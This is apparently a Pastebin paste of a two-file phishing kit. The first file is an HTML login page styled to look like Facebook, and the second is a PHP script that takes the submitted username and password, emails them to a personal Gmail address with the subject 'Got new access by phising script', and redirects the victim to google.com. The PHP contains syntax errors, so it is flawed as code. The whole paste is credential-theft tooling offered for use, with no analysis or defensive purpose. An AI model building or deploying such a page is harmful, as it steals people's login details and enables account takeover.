Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1st file
- -----------------------------
- <!DOCTYPE html>
- <html lang="en">
- <body>
- <section>
- <div class="login-form">
- <form action="do_action.php">
- <label for="username">Username:</label>
- <input name="username" type="text" id="username"></input><br /><br />
- <label for="password">Password:</label>
- <input name="password" id="password" type="password"></input><br />
- <input id="keep" style="margin: 10px 0 0 84px" type="checkbox"></input>
- <label for="keep" style="font-size:12px;">keep me logged in</label><br />
- <input type="submit" name="submit" value="Verify" style="background: none repeat scroll 0 0 #3b5998; border: 1px solid #294461; color: #ffffff; margin: 4px 0 0 80px; padding: 2px 6px;"></input>
- <p><a style="text-decoration:none; color:#3B5998; margin:0 0 0 80px;" href="">can't log in?</a></p>
- </form>
- </div>
- </div>
- </section>
- </body>
- </html>
- 2nd file
- -------------------------------------------------------
- <?php
- mail_sender(){
- $username = $POST[username];
- $password = $POST[password];
- $receiver = "rickftw3@gmail.com";
- $subject = "Got new access by phising script";
- $message = "The username is ". $username;
- $message .= "and password is ". $password;
- $sent = mail($receiver, $subject, $message);
- if($sent == true) return true;
- else return false;
- }
- if(mail_sender()){
- header("Location: http://www.google.com");
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement